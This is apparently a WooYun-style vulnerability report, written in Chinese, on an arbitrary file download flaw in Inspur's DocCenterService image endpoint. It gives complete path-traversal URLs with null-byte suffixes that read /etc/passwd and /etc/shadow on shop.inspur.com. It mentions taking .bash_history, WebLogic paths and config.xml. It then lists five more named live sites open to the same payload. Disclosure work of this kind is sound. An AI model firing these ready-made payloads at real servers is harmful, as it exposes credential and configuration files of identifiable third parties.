WooYun.org

乌云主站搜索了下"浪潮"，他们忽略了好多漏洞，望管理员把该漏洞提交给 cncert国家互联网应急中心 来处理吧。:P
----------------------------------------
相关厂商：浪潮
相关域名：http://www.inspur.com/
漏洞链接：http://www.website.com/DocCenterService/image?photo_size=&photo_id=1
漏洞参数：photo_size
漏洞说明：首先确保photo_id的数字对应的图片存在，之后修改photo_size的值导致下载任意文件（包括passwd、shadow、还有各类敏感配置文件）
----------------------------------------
以浪潮官方为例：

链接分别为：
http://shop.inspur.com/ecweb/bj/
http://shop.inspur.com/ecweb/erp/
http://shop.inspur.com/ecweb/stb/
http://shop.inspur.com/ecweb/led/
http://shop.inspur.com/ecweb/cloud/

1# 下载 passwd 与 shadow 文件
http://shop.inspur.com/DocCenterService/image?photo_size=../../../../../../../../../../etc/passwd%00&photo_id=1
http://shop.inspur.com/DocCenterService/image?photo_size=../../../../../../../../../../etc/shadow%00&photo_id=1

2# 下载.bash_history 文件，看看有啥敏感信息不？！

备份的网站源码是可以下载的（只测试，并没下载完成）

又得到weblogic的安装路径：/opt/Oracle/Middleware/user_projects/domains/base_domain/

尝试下载 config.xml 文件

到这里，已经掌握了网站的源码、中间件的配置文件等敏感信息，后续的还可以考虑针对代码审计（j2ee+php），本人菜菜，就不继续了…如果漏洞内容中出现了什么敏感信息，表示歉意:P
其他案例：
邮上海
http://www.postbuy.com.cn/DocCenterService/image?photo_size=../../../../../../../../../../etc/passwd%00&photo_id=7719
万商购
http://www.onesgo.cn/DocCenterService/image?photo_size=../../../../../../../../../../etc/passwd%00&photo_id=45137
黄淮农产品
http://www.hhncpw.com/DocCenterService/image?photo_id=9943&photo_size=../../../../../../../../../../etc/passwd%00
http://www.iec365.com:8080/DocCenterService/image?photo_id=10443&photo_size=../../../../../../../../../../etc/passwd%00
http://www.ebuymi.com/DocCenterService/image?photo_id=10443&photo_size=../../../../../../../../../../etc/passwd%00
同样可以下载到好多敏感信息，这里不在证明。